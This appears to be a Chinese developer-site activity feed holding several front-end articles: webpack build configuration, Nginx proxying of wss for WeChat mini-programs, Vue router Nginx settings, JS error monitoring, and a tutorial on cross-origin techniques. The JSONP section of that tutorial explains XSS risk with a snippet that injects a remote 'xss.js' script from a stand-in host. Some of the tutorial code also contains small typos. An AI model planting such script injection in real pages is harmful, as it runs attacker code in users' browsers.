                    include: [/\.js$/, /\.css$/, /\.html$/,/\.jpg/,/\.jpeg/,/\.svg/,/\.webp/,/\.png/],
                }),
            
    • 加入每次打包输出文件清空上次打包文件的插件
        const CleanWebpackPlugin = require('clean-webpack-plugin')
        
        new CleanWebpackPlugin()
    • 加入code spliting代码分割
        optimization: {
                runtimeChunk:true,  //设置为 true, 一个chunk打包后就是一个文件,一个chunk对应`一些js css 图片`等
                splitChunks: {
                    chunks: 'all'  // 默认 entry 的 chunk 不会被拆分, 配置成 all, 就可以了拆分了,一个入口`JS`,
                    //打包后就生成一个单独的文件
                }
            }
    • 加入单独抽取CSS文件的loader和插件
    const MiniCssExtractPlugin = require('mini-css-extract-plugin')
    
        {
            test: /\.(less)$/,
            use: [
                MiniCssExtractPlugin.loader,
                {
                    loader: 'css-loader', options: {
                        modules: true,
                        localIdentName: '[local]--[hash:base64:5]'
                    }
                },
                {loader:'postcss-loader'},
                { loader: 'less-loader' }
            ]
        }
        
         new MiniCssExtractPlugin({
                filename:'[name].[contenthash:8].css'
            }),
    
    • 加入压缩css的插件
        const OptimizeCssAssetsWebpackPlugin = require('optimize-css-assets-webpack-plugin')
        new OptimizeCssAssetsWebpackPlugin({
                    cssProcessPluginOptions:{
                        preset:['default',{discardComments: {removeAll:true} }]
                    }
                }),
    • 杀掉html一些没用的代码
        new HtmlWebpackPlugin({
            template: './src/index.html',
            minify: {
                removeComments: true,  
                collapseWhitespace: true,  
                removeRedundantAttributes: true,
                useShortDoctype: true, 
                removeEmptyAttributes: true,
                removeStyleLinkTypeAttributes: true,
                keepClosingSlash: true, 
                minifyJS: true,
                minifyCSS: true, 
                minifyURLs: true, 
             }
    }),
    • 加入图片压缩
    {
                    test: /\.(jpg|jpeg|bmp|svg|png|webp|gif)$/,
                    
                    use:[
                        {loader: 'url-loader',
                        options: {
                            limit: 8 * 1024,
                            name: '[name].[hash:8].[ext]',
                            outputPath:'/img'
                        }},
                        {
                            loader: 'img-loader',
                            options: {
                              plugins: [
                                require('imagemin-gifsicle')({
                                  interlaced: false
                                }),
                                require('imagemin-mozjpeg')({
                                  progressive: true,
                                  arithmetic: false
                                }),
                                require('imagemin-pngquant')({
                                  floyd: 0.5,
                                  speed: 2
                                }),
                                require('imagemin-svgo')({
                                  plugins: [
                                    { removeTitle: true },
                                    { convertPathData: false }
                                  ]
                                })
                              ]
                            }
                          }
                    ]
                    
                    
    
                }
    • 加入file-loader 把一些文件打包输出到固定的目录下
    {
                    exclude: /\.(js|json|less|css|jsx)$/,
                    loader: 'file-loader',
                    options: {
                        outputPath: 'media/',
                        name: '[name].[contenthash:8].[ext]'
                    }
                }
                
    里面有一些注释可能不详细,代码都是自己一点点写,试过的,肯定没用任何问题
    • 需要的依赖
    {
        "name": "webpack",
        "version": "1.0.0",
        "main": "index.js",
        "license": "MIT",
        "dependencies": {
            "@babel/core": "^7.4.4",
            "@babel/preset-env": "^7.4.4",
            "@babel/preset-react": "^7.0.0",
            "autoprefixer": "^9.5.1",
            "babel-loader": "^8.0.5",
            "clean-webpack-plugin": "^2.0.2",
            "css-loader": "^2.1.1",
            "eslint": "^5.16.0",
            "eslint-loader": "^2.1.2",
            "file-loader": "^3.0.1",
            "html-loader": "^0.5.5",
            "html-webpack-plugin": "^3.2.0",
            "imagemin": "^6.1.0",
            "imagemin-gifsicle": "^6.0.1",
            "imagemin-mozjpeg": "^8.0.0",
            "imagemin-pngquant": "^7.0.0",
            "imagemin-svgo": "^7.0.0",
            "img-loader": "^3.0.1",
            "less": "^3.9.0",
            "less-loader": "^5.0.0",
            "mini-css-extract-plugin": "^0.6.0",
            "optimize-css-assets-webpack-plugin": "^5.0.1",
            "postcss-loader": "^3.0.0",
            "react": "^16.8.6",
            "react-dom": "^16.8.6",
            "react-loadable": "^5.5.0",
            "react-redux": "^7.0.3",
            "style-loader": "^0.23.1",
            "url-loader": "^1.1.2",
            "webpack": "^4.30.0",
            "webpack-cli": "^3.3.2",
            "webpack-dev-server": "^3.3.1",
            "workbox-webpack-plugin": "^4.3.1"
        },
        "scripts": {
            "start": "webpack-dev-server --config ./config/webpack.dev.js",
            "dev": "webpack-dev-server --config ./config/webpack.dev.js",
            "build": "webpack  --config  ./config/webpack.prod.js "
        },
        "devDependencies": {
            "@babel/plugin-syntax-dynamic-import": "^7.2.0"
        }
    }
    
    

    整个项目和webpack配置的源码地址 已经更新 : 源码地址啊 看得见吗亲

    路过的小伙伴麻烦点个赞给个star,写得好辛苦啊!!!!

    查看原文

    慢思考快行动 收藏了文章 · 2019-05-08

    关于小程序websocket全套解决方案,Nginx代理wss

    需求对话

    提问

    我在本地web能够使用ws协议去链接websocket,但是小程序不能使用。

    回答

    由于小程序使用的是SSL加密协议,所以需要使用wss。这里wss与ws的关系就相当于https于http的关系。

    提问

    我用的是宝塔Linux,SSL好申请,但是wss我就不会配置了。

    回答

    对的宝塔Linux申请SSL很简单,一键申请,相对https实现就很简单了。那我们开始做配置吧。但前提你需要保证以下的几个必备条件。

    前提必备:

    1. 需要先为你的websocket域名申请SSL
    2. 宝塔Linux(非宝塔其实一样能用,但是我这里的教程主要针对宝塔Linux做的)

    Nginx代理WSS

    这一步主要用来实现wss转ws(即转到http)

    图片描述

    打开管理后台,点开“网站”->“相应的域名”->“配置文件”(我糊的地方只是我的域名和ip信息,不是重要信息,不用在意)

    图片描述

    搜索#SSL-END,在这串注释后面加上以下代码,图上我已经加上了,所以和你的肯定不一样

        #wss协议转发 小程序里面要访问的链接
        # 访问:wss://xxxx.com/wss
        location /wss {
            proxy_pass http://host:8080;#代理到上面的地址去,
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "Upgrade";
        }

    关于以上的配置我必须要说清楚,proxy_pass http://host:8080后面的地址加端口是你websocket的地址,这里必须加上端口,例如:http://baidu.com:8080,这里需要手动改的就是这一个地方。

    先别关闭这个窗口,接下来还有

    图片描述

    接下来把鼠标移到最顶端,也就是server上面添加以下代码,一样的道理,我这里已经添加了,所以和你的不一样,以你的为准

    map $http_upgrade $connection_upgrade {
        default upgrade;
        '' close;
    }
    upstream websocket {
        server ip:8080;  #这里可以是多个服务端IP(分多行),设置权重就可以实现负载均衡了
    }

    这里需要手动设置一下,就是在upstream websocket里面有一个ip:8080。这个ip请替换成你的IP,IP在什么地方可以看到呢,看你宝塔linux左上角就有了,对就是那个。例如:server 114.114.114.114:8080

    至此Nginx代理wss就算全部ok。请注意我用的socket端口是8080,如果你的端口被占用,请你更改,当然如果改了请把一系列的都改了

    小程序websocket使用

    官方文档:https://developers.weixin.qq....

    我这里只是做连接测试。只是一个Demo

      miniWebsocket:function(){
        wx.connectSocket({
          url: 'wss://host/wss',
          //这里只需要填写你开始配置的域名就好,但是请在域名后面添加一个/wss。例如:wss://baidu.com/wss
        })
        wx.onSocketOpen(function(res){
          console.log(res)
          console.log('打开成功')
        })
        wx.onSocketMessage(function(res){
          console.log('收到服务器信息'+JSON.stringify(res))
        })
        wx.onSocketOpen(function (res) {
          console.log('WebSocket连接已打开!')
          console.log('数据发送')
          wx.sendSocketMessage({
            data: 'ekeylee'
          })   
        })
      }

    图片描述

    上图就是我已经配置好小程序的返回信息,如果有什么地方写的不是很清楚,请文末留言,感谢

    查看原文

    慢思考快行动 赞了文章 · 2019-05-08

    关于小程序websocket全套解决方案,Nginx代理wss

    需求对话

    提问

    我在本地web能够使用ws协议去链接websocket,但是小程序不能使用。

    回答

    由于小程序使用的是SSL加密协议,所以需要使用wss。这里wss与ws的关系就相当于https于http的关系。

    提问

    我用的是宝塔Linux,SSL好申请,但是wss我就不会配置了。

    回答

    对的宝塔Linux申请SSL很简单,一键申请,相对https实现就很简单了。那我们开始做配置吧。但前提你需要保证以下的几个必备条件。

    前提必备:

    1. 需要先为你的websocket域名申请SSL
    2. 宝塔Linux(非宝塔其实一样能用,但是我这里的教程主要针对宝塔Linux做的)

    Nginx代理WSS

    这一步主要用来实现wss转ws(即转到http)

    图片描述

    打开管理后台,点开“网站”->“相应的域名”->“配置文件”(我糊的地方只是我的域名和ip信息,不是重要信息,不用在意)

    图片描述

    搜索#SSL-END,在这串注释后面加上以下代码,图上我已经加上了,所以和你的肯定不一样

        #wss协议转发 小程序里面要访问的链接
        # 访问:wss://xxxx.com/wss
        location /wss {
            proxy_pass http://host:8080;#代理到上面的地址去,
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "Upgrade";
        }

    关于以上的配置我必须要说清楚,proxy_pass http://host:8080后面的地址加端口是你websocket的地址,这里必须加上端口,例如:http://baidu.com:8080,这里需要手动改的就是这一个地方。

    先别关闭这个窗口,接下来还有

    图片描述

    接下来把鼠标移到最顶端,也就是server上面添加以下代码,一样的道理,我这里已经添加了,所以和你的不一样,以你的为准

    map $http_upgrade $connection_upgrade {
        default upgrade;
        '' close;
    }
    upstream websocket {
        server ip:8080;  #这里可以是多个服务端IP(分多行),设置权重就可以实现负载均衡了
    }

    这里需要手动设置一下,就是在upstream websocket里面有一个ip:8080。这个ip请替换成你的IP,IP在什么地方可以看到呢,看你宝塔linux左上角就有了,对就是那个。例如:server 114.114.114.114:8080

    至此Nginx代理wss就算全部ok。请注意我用的socket端口是8080,如果你的端口被占用,请你更改,当然如果改了请把一系列的都改了

    小程序websocket使用

    官方文档:https://developers.weixin.qq....

    我这里只是做连接测试。只是一个Demo

      miniWebsocket:function(){
        wx.connectSocket({
          url: 'wss://host/wss',
          //这里只需要填写你开始配置的域名就好,但是请在域名后面添加一个/wss。例如:wss://baidu.com/wss
        })
        wx.onSocketOpen(function(res){
          console.log(res)
          console.log('打开成功')
        })
        wx.onSocketMessage(function(res){
          console.log('收到服务器信息'+JSON.stringify(res))
        })
        wx.onSocketOpen(function (res) {
          console.log('WebSocket连接已打开!')
          console.log('数据发送')
          wx.sendSocketMessage({
            data: 'ekeylee'
          })   
        })
      }

    图片描述

    上图就是我已经配置好小程序的返回信息,如果有什么地方写的不是很清楚,请文末留言,感谢

    查看原文

    赞 8 收藏 6 评论 23

    慢思考快行动 赞了文章 · 2019-03-26

    vue.js vue-router history模式路由,域名二级目录子目录nginx配置

    修改三个配置,具体操作日后有时间更新,不懂私聊
    1

    const route = new Router({
      mode: 'history',
      base: '/doctor-html/',
      routes
    })

    2

    assetsPublicPath: '/doctor-html/',

    3

    try_files $uri $uri/ /doctor-html/index.html;

    4
    项目目录配置实例
    项目路径web/doctor-html/index.html
    nginx配置root指向 web/ 项目放在doctor-html,但是nginx指向web,url访问com/doctor-html就好了

    查看原文

    赞 14 收藏 7 评论 3

    慢思考快行动 赞了文章 · 2019-02-26

    JS错误监控总结

    前言

    做好错误监控,将用户使用时的错误日志上报,可以帮助我们更快的解决一些问题。目前开源的比较好的前端监控有

    那前端监控是怎么实现的呢?要想了解这个,需要知道前端错误大概分为哪些以及如何捕获处理。

    前端错误分为JS运行时错误、资源加载错误和接口错误三种。

    一、JS运行时错误

    JS运行时错误一般使用window.onerror捕获,但是有一种特殊情况就是promise被reject并且错误信息没有被处理的时候抛出的错误

    1.1 一般情况的JS运行时错误

    使用window.onerror和window.addEventListener('error')捕获。

    window.onerror = function (msg, url, lineNo, columnNo, error) 
        { 
           // 处理error信息
        } 
     
        window.addEventListener('error', event =>  
        {  
           console.log('addEventListener error:' + event.target); 
        }, true); 
        // true代表在捕获阶段调用,false代表在冒泡阶段捕获。使用true或false都可以
    例子:https://jsbin.com/lujahin/edit?html,console,output 点击button抛出错误,分别被window.onerror和window.addEventListener('error')捕获

    1.2 Uncaught (in promise)

    当promise被reject并且错误信息没有被处理的时候,会抛出一个unhandledrejection,并且这个错误不会被window.onerror以及window.addEventListener('error')捕获,需要用专门的window.addEventListener('unhandledrejection')捕获处理

    window.addEventListener('unhandledrejection', event => 
        { 
           console.log('unhandledrejection:' + event.reason); // 捕获后自定义处理
        });
    https://developer.mozilla.org...
    例子:https://jsbin.com/jofomob/edit?html,console,output 点击button抛出unhandledrejection错误,并且该错误仅能被window.addEventListener('unhandledrejection')捕获

    1.3 console.error

    一些特殊情况下,还需要捕获处理console.error,捕获方式就是重写window.console.error

    var consoleError = window.console.error; 
    window.console.error = function () { 
        alert(JSON.stringify(arguments)); // 自定义处理
        consoleError && consoleError.apply(window, arguments); 
    };
    例子:https://jsbin.com/pemigew/edit?html,console,output

    1.4 特别说明跨域日志

    什么是跨域脚本error?

    https://developer.mozilla.org...
    当加载自不同域的脚本中发生语法错误时,为避免信息泄露(参见bug 363897),语法错误的细节将不会报告,而代之简单的"Script error."。在某些浏览器中,通过在<script>使用crossorigin属性并要求服务器发送适当的 CORS HTTP 响应头,该行为可被覆盖。一个变通方案是单独处理"Script error.",告知错误详情仅能通过浏览器控制台查看,无法通过JavaScript访问。

    例子: http://sandbox.runjs.cn/show/... 请打开页面打开控制台。该页面分别加载了两个不同域的js脚本,配置了crossorigin的window.onerror可以报出详细的错误,没有配置crossorigin只能报出'script error',并且没有错误信息

    1.5 特别说明sourceMap

    在线上由于JS一般都是被压缩或者打包(webpack)过,打包后的文件只有一行,因此报错会出现第一行第5000列出现JS错误,给排查带来困难。sourceMap存储打包前的JS文件和打包后的JS文件之间一个映射关系,可以根据打包后的位置快速解析出对应源文件的位置。

    但是出于安全性考虑,线上设置sourceMap会存在不安全的问题,因为网站使用者可以轻易的看到网站源码,此时可以设置.map文件只能通过公司内网访问降低隐患

    sourceMap配置devtool: 'inline-source-map'
    如果使用了uglifyjs-webpack-plugin 必须把 sourceMap设置为true
    https://doc.webpack-china.org...

    1.6 其它

    1.6.1 sentry把所有的回调函数使用try catch封装一层
    https://github.com/getsentry/raven-js/blob/master/src/raven.js

    1.6.2 vue errorHandler
    https://vuejs.org/v2/api/#errorHandler
    其原理也是使用try catch封装了nextTick,$emit, watch,data等
    https://github.com/vuejs/vue/blob/dev/dist/vue.runtime.js

    二、资源加载错误

    使用window.addEventListener('error')捕获,window.onerror捕获不到资源加载错误

    https://jsbin.com/rigasek/edit?html,console 图片资源加载错误。此时只有window.addEventListener('error')可以捕获到

    window.onerror和window.addEventListener('error')的异同:相同点是都可以捕获到window上的js运行时错误。区别是1.捕获到的错误参数不同 2.window.addEventListener('error')可以捕获资源加载错误,但是window.onerror不能捕获到资源加载错误

    window.addEventListener('error')捕获到的错误,可以通过target?.src || target?.href区分是资源加载错误还是js运行时错误

    三、接口错误

    所有http请求都是基于xmlHttpRequest或者fetch封装的。所以要捕获全局的接口错误,方法就是封装xmlHttpRequest或者fetch

    3.1 封装xmlHttpRequest

    if(!window.XMLHttpRequest) return;
    var xmlhttp = window.XMLHttpRequest;
    var _oldSend = xmlhttp.prototype.send;
    var _handleEvent = function (event) {
        if (event && event.currentTarget && event.currentTarget.status !== 200) {
              // 自定义错误上报 }
    }
    xmlhttp.prototype.send = function () {
        if (this['addEventListener']) {
            this['addEventListener']('error', _handleEvent);
            this['addEventListener']('load', _handleEvent);
            this['addEventListener']('abort', _handleEvent);
        } else {
            var _oldStateChange = this['onreadystatechange'];
            this['onreadystatechange'] = function (event) {
                if (this.readyState === 4) {
                    _handleEvent(event);
                }
                _oldStateChange && _oldStateChange.apply(this, arguments);
            };
        }
        return _oldSend.apply(this, arguments);
    }

    3.2 封装fetch

    if(!window.fetch) return;
        let _oldFetch = window.fetch;
        window.fetch = function () {
            return _oldFetch.apply(this, arguments)
            .then(res => {
                if (!res.ok) { // True if status is HTTP 2xx
                    // 上报错误
                }
                return res;
            })
            .catch(error => {
                // 上报错误
                throw error;  
            })
    }

    结论

    1. 使用window.onerror捕获JS运行时错误
    2. 使用window.addEventListener('unhandledrejection')捕获未处理的promise reject错误
    3. 重写console.error捕获console.error错误
    4. 在跨域脚本上配置crossorigin="anonymous"捕获跨域脚本错误
    5. window.addEventListener('error')捕获资源加载错误。因为它也能捕获js运行时错误,为避免重复上报js运行时错误,此时只有event.srcElement inatanceof HTMLScriptElement或HTMLLinkElement或HTMLImageElement时才上报
    6. 重写window.XMLHttpRequest和window.fetch捕获请求错误

    利用以上原理,简单写了一个JS监控,只处理了一些JS错误,暂时没有做和性能相关的监控
    https://github.com/Lie8466/better-js

    如果发现文章有错误,欢迎指正。

    查看原文

    赞 54 收藏 40 评论 6

    慢思考快行动 评论了文章 · 2019-01-07

    九种 “姿势” 让你彻底解决跨域问题

    在这里插入图片描述


    阅读原文


    同源策略

    同源策略/SOP(Same origin policy)是一种约定,由 Netscape 公司 1995 年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到 XSS、CSRF 等攻击。所谓同源是指 "协议 + 域名 + 端口" 三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。


    什么是跨域?

    当协议、域名、端口号,有一个或多个不同时,有希望可以访问并获取数据的现象称为跨域访问,同源策略限制下 cookielocalStoragedomajaxIndexDB 都是不支持跨域的。

    假设 cookie 支持了跨域,http 协议无状态,当用户访问了一个银行网站登录后,银行网站的服务器给返回了一个 sessionId,当通过当前浏览器再访问一个恶意网站,如果 cookie 支持跨域,恶意网站将获取 sessionId 并访问银行网站,出现安全性问题;IndexDB、localStorage 等数据存储在不同域的页面切换时是获取不到的;假设 dom 元素可以跨域,在自己的页面写入一个 iframe 内部嵌入的地址是 www.baidu.com,当在百度页面登录账号密码时就可以在自己的页面获取百度的数据信息,这显然是不合理的。

    这就是为什么 cookielocalStoragedomajaxIndexDB 会受到同源策略会限制,下面还有一点对跨域理解的误区:

    误区:同源策略限制下,访问不到后台服务器的数据,或访问到后台服务器的数据后没有返回;
    正确:同源策略限制下,可以访问到后台服务器的数据,后台服务器会正常返回数据,而被浏览器给拦截了。


    实现跨域的方式

    一、使用 jsonp 跨域

    使用场景:当自己的项目前端资源和后端部署在不同的服务器地址上,或者其他的公司需要访问自己对外公开的接口,需要实现跨域获取数据,如百度搜索。

    // 封装 jsonp 跨域请求的方法
    function jsonp({ url, params, cb }) {
        return new Promise((resolve, reject) => {
            // 创建一个 script 标签帮助我们发送请求
            let script = document.createElement("script");
            let arr = [];
            params = { ...params, cb };
    
            // 循环构建键值对形式的参数
            for (let key in params) {
                arr.push(`${key}=${params[key]}`);
            }
    
            // 创建全局函数
            window[cb] = function(data) {
                resolve(data);
                // 在跨域拿到数据以后将 script 标签销毁
                document.body.removeChild(script);
            };
    
            // 拼接发送请求的参数并赋值到 src 属性
            script.src = `${url}?${arr.join("&")}`;
            document.body.appendChild(script);
        });
    }
    
    // 调用方法跨域请求百度搜索的接口
    json({
        url: "https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su",
        params: {
            wd: "jsonp"
        },
        cb: "show"
    }).then(data => {
        // 打印请求回的数据
        console.log(data);
    });

    缺点:

    • 只能发送 get 请求 不支持 post、put、delete;
    • 不安全,容易引发 xss 攻击,别人在返回的结果中返回了下面代码。
    `let script = document.createElement('script');
    script.src = "http://192.168.0.57:8080/xss.js";
    document.body.appendChild(script);`;

    会把别人的脚本引入到自己的页面中执行,如:弹窗、广告等,甚至更危险的脚本程序。


    二、使用 CORS 跨域

    跨源资源共享/CORS(Cross-Origin Resource Sharing)是 W3C 的一个工作草案,定义了在必须访问跨源资源时,浏览器与服务器应该如何沟通。CORS 背后的基本思想,就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。

    使用场景:多用于开发时,前端与后台在不同的 ip 地址下进行数据访问。

    现在启动两个端口号不同的服务器,创建跨域条件,服务器(NodeJS)代码如下:

    // 服务器1
    const express = require(express);
    let app = express();
    app.use(express.static(__dirname));
    app.listen(3000);
    
    // 服务器2
    const express = require("express");
    let app = express();
    app.get("/getDate", function(req, res) {
        res.end("I love you");
    });
    app.use(express.static(__dirname));
    app.listen(4000);

    由于我们的 NodeJS 服务器使用 express 框架,在我们的项目根目录下的命令行中输入下面代码进行安装:

    npm install express --save

    通过访问 http://localhost:3000/index.html 获取 index.html 文件并执行其中的 Ajax 请求 http://localhost:4000/getDate 接口去获取数据,index.html 文件内容如下:

    <!-- 文件:index.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>CORS 跨域</title>
    </head>
    <body>
        <script>
            let xhr = new XMLHttpRequest();
    
            // 正常 cookie 是不允许跨域的
            document.cookie = 'name=hello';
    
            // cookie 想要实现跨域必须携带凭证
            xhr.withCredentials = true;
    
            // xhr.open('GET', 'http://localhost:4000/getDate', true);
            xhr.open('PUT', 'http://localhost:4000/getDate', true);
    
            // 设置名为 name 的自定义请求头
            xhr.setRequestHeader('name', 'hello');
    
            xhr.onreadystatechange = function () {
                if(xhr.readyState === 4) {
                    if(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
                        // 打印返回的数据
                        console.log(xhr.response);
    
                        // 打印后台设置的自定义头信息
                        console.log(xhr.getResponseHeader('name'));
                    }
                }
            }
            xhr.send();
        </script>
    </body>
    </html>

    上面 index.html 代码中发送请求访问不在同源的服务器 2,此时会在控制台给出错误信息,告诉我们缺少了哪些响应头,我们对应报错信息去修改访问的服务器 2 的代码,添加对应的响应头,实现 CORS 跨域。

    // 服务器2
    const express = require("express");
    let app = express();
    
    // 允许访问域的白名单
    let whiteList = ["http://localhost:3000"];
    
    app.use(function(req, res, next) {
        let origin = req.header.origin;
        if (whiteList.includes(origin)) {
            // 设置那个源可以访问我,参数为 * 时,允许任何人访问,但是不可以和 cookie 凭证的响应头共同使用
            res.setHeader("Access-Control-Allow-Origin", origin);
            // 想要获取 ajax 的头信息,需设置响应头
            res.setHeader("Access-Control-Allow-Headers", "name");
            // 处理复杂请求的头
            res.setHeader("Access-Control-Allow-Methods", "PUT");
            // 允许发送 cookie 凭证的响应头
            res.setHeader("Access-Control-Allow-Credentials", true);
            // 允许前端获取哪个头信息
            res.setHeader("Access-Control-Expose-Headers", "name");
            // 处理 OPTIONS 预检的存活时间,单位 s
            res.setHeader("Access-Control-Max-Age", 5);
            // 发送 PUT 请求会做一个试探性的请求 OPTIONS,其实是请求了两次,当接收的请求为 OPTIONS 时不做任何处理
            if (req.method === "OPTIONS") {
                res.end();
            }
        }
        next();
    });
    
    app.put("/getDate", function(req, res) {
        // res.setHeader('name', 'nihao'); // 设置自定义响应头信息
        res.end("I love you");
    });
    
    app.get("/getDate", function(req, res) {
        res.end("I love you");
    });
    
    app.use(express.static(__dirname));
    app.listen(4000);


    三、使用 postMessage 实现跨域

    postMessage 是 H5 的新 API,跨文档消息传送(cross-document messaging),有时候简称为 XMD,指的是在来自不同域的页面间传递消息。

    调用方式:window.postMessage(message, targetOrigin)

    • message:发送的数据
    • targetOrigin:发送的窗口的域

    在对应的页面中用 message 事件接收,事件对象中有 dataoriginsource 三个重要信息

    • data:接收到的数据
    • origin:接收到数据源的域(数据来自哪个域)
    • source:接收到数据源的窗口对象(数据来自哪个窗口对象)

    使用场景:不是使用 Ajax 的数据通信,更多是在两个页面之间的通信,在 A 页面中引入 B 页面,在 AB 两个页面之间通信。

    与上面 CORS 类似,我们要创建跨域场景,搭建两个端口号不同的 Nodejs 服务器,后面相同方式就不多赘述了。

    // 服务器1
    const express = require(express);
    let app = express();
    app.use(express.static(__dirname));
    app.listen(3000);
    
    // 服务器2
    const express = require(express);
    let app = express();
    app.use(express.static(__dirname));
    app.listen(4000);

    通过访问 http://localhost:3000/a.html,在 a.html 中使用 iframe 标签引入 http://localhost:4000/b.html,在两个窗口间传递数据。

    <!-- 文件:a.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面 A</title>
    </head>
    <body>
        <iframe data-original="http://localhost:4000/b.html" id="frame" onload="load()"></iframe>
        <script>
            function load() {
                let frame = document.getElementById('frame');
                frame.contentWindow.postMessage('I love you', 'http://localhost:4000');
                window.onmessage = function (e) {
                    console.log(e.data);
                }
            }
        </script>
    </body>
    </html>
    <!-- 文件:b.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面 B</title>
    </head>
    <body>
        <script>
            window.onmessage = function (e) {
                // 打印来自页面 A 的消息
                console.log(e.data);
                // 给页面 A 发送回执
                e.source.postMessage('I love you, too', e.origin);
            }
        </script>
    </body>
    </html>


    四、使用 window.name 实现跨域

    同样是页面之间的通信,需要借助 iframe 标签,A 页面和 B 页面是同域的 http://localhost:3000,C 页面在独立的域 http://localhost:4000。

    // 服务器1
    const express = require(express);
    let app = express();
    app.use(express.static(__dirname));
    app.listen(3000);
    
    // 服务器2
    const express = require(express);
    let app = express();
    app.use(express.static(__dirname));
    app.listen(4000);

    实现思路:在 A 页面中将 iframesrc 指向 C 页面,在 C 页面中将属性值存入 window.name 中,再把 iframesrc 换成同域的 B 页面,在当前的 iframewindow 对象中取出 name 的值,访问 http://localhost:3000/a.html。

    <!-- 文件:a.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面 A</title>
    </head>
    <body>
        <iframe data-original="http://localhost:4000/c.html" id="frame" onload="load()"></iframe>
        <script>
            // 增加一个标识,第一次触发 load 时更改地址,更改后再次触发直接取值
            let isFirst = true;
            function load() {
                let frame = document.getElementById('frame');
                if(isFirst) {
                    frame.src = 'http://localhost:3000/b.html';
                    isFirst = false;
                } else {
                    console.log(frame.contentWindow.name);
                }
            }
        </script>
    </body>
    </html>
    <!-- 文件:c.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面 C</title>
    </head>
    <body>
        <script>
            window.name = 'I love you';
        </script>
    </body>
    </html>

    <br/>

    五、使用 location.hash 实现跨域

    window.name 跨域的情况相同,是不同域的页面间的参数传递,需要借助 iframe 标签,A 页面和 B 页面是同域的 http://localhost:3000,C 页面是独立的域 http://localhost:4000。

    // 服务器1
    const express = require(express);
    let app = express();
    app.use(express.static(__dirname));
    app.listen(3000);
    
    // 服务器2
    const express = require(express);
    let app = express();
    app.use(express.static(__dirname));
    app.listen(4000);

    实现思路:A 页面通过 iframe 引入 C 页面,并给 C 页面传一个 hash 值,C 页面收到 hash 值后创建 iframe 引入 B 页面,把 hash 值传给 B 页面,B 页面将自己的 hash 值放在 A 页面的 hash 值中,访问 http://localhost:3000/a.html。

    <!-- 文件:a.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面 A</title>
    </head>
    <body>
        <iframe data-original="http://localhost:4000/c.html#Iloveyou" id="frame"></iframe>
        <script>
            // 使用 hashchange 事件接收来自 B 页面设置给 A 页面的 hash 值
            window.onhashchange = function () {
                console.log(location.hash);
            }
        </script>
    </body>
    </html>
    <!-- 文件:c.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面 C</title>
    </head>
    <body>
        <script>
            // 打印 A 页面引入 C 页面设置的 hash 值
            console.log(location.hash);
            let iframe = document.createElement('iframe');
            iframe.src = 'http://localhost:3000/b.html#Iloveyoutoo';
            document.body.appendChild(iframe);
        </script>
    </body>
    </html>
    <!-- 文件:b.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面 B</title>
    </head>
    <body>
        <script>
            // 将 C 页面引入 B 页面设置的 hash 值设置给 A页面
            window.parent.parent.location.hash = location.hash;
        </script>
    </body>
    </html>

    <br/>

    六、使用 document.domain 实现跨域

    使用场景:不是万能的跨域方式,大多使用于同一公司不同产品间获取数据,必须是一级域名和二级域名的关系,如 www.baidu.comvideo.baidu.com 之间。

    const express = require("express");
    let app = express();
    
    app.use(express.static(__dirname));
    app.listen(3000);

    想要模拟使用 document.domain 跨域的场景需要做些小小的准备,到 C:WindowsSystem32driversetc 该路径下找到 hosts 文件,在最下面创建一个一级域名和一个二级域名。

    127.0.0.1          www.domainacross.com
    127.0.0.1          sub.domainacross.com

    命名是随意的,只要是符合一级域名与 二级域名的关系即可,然后访问 http://www.domainacross.com:3000/a.html。

    <!-- 文件:a.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面 A</title>
    </head>
    <body>
        <p>我是页面 A 的内容</p>
        <iframe data-original="http://sucess.domainacross.com:3000/b.html" onload="load()" id="frame"></iframe>
        <script>
            document.domain = 'domainacross.com';
            function load() {
                console.log(frame.contentWindow.message);
            }
        </script>
    </body>
    </html>
    <!-- 文件:b.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>页面 B</title>
    </head>
    <body>
        <p>我是 B 页面的内容</p>
        <script>
            document.domain = 'domainacross.com';
            var message = 'Hello A';
        </script>
    </body>
    </html>


    七、使用 WebSocket 实现跨域

    WebSocket 没有跨域限制,高级 API(不兼容),想要兼容低版本浏览器,可以使用 socket.io 的库,WebSocket 与 HTTP 内部都是基于 TCP 协议,区别在于 HTTP 是单向的(单双工),WebSocket 是双向的(全双工),协议是 ws://wss:// 对应 http://https://,因为没有跨域限制,所以使用 file:// 协议也可以进行通信。

    由于我们在 NodeJS 服务中使用了 WebSocket,所以需要安装对应的依赖:

    npm install ws --save
    <!-- 文件:index.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>页面</title>
    </head>
    <body>
        <script>
            // 创建 webSocket
            let socket = new WebSocket('ws://localhost:3000');
            // 连接上触发
            socket.onopen = function () {
                socket.send('I love you');
            }
            // 收到消息触发
            socket.onmessage = function (e) {
                // 打印收到的数据
                console.log(e.data); // I love you, too
            }
        </script>
    </body>
    </html>
    const express = require("express");
    let app = express();
    
    // 引入 webSocket
    const WebSocket = require("ws");
    // 创建连接,端口号与前端相对应
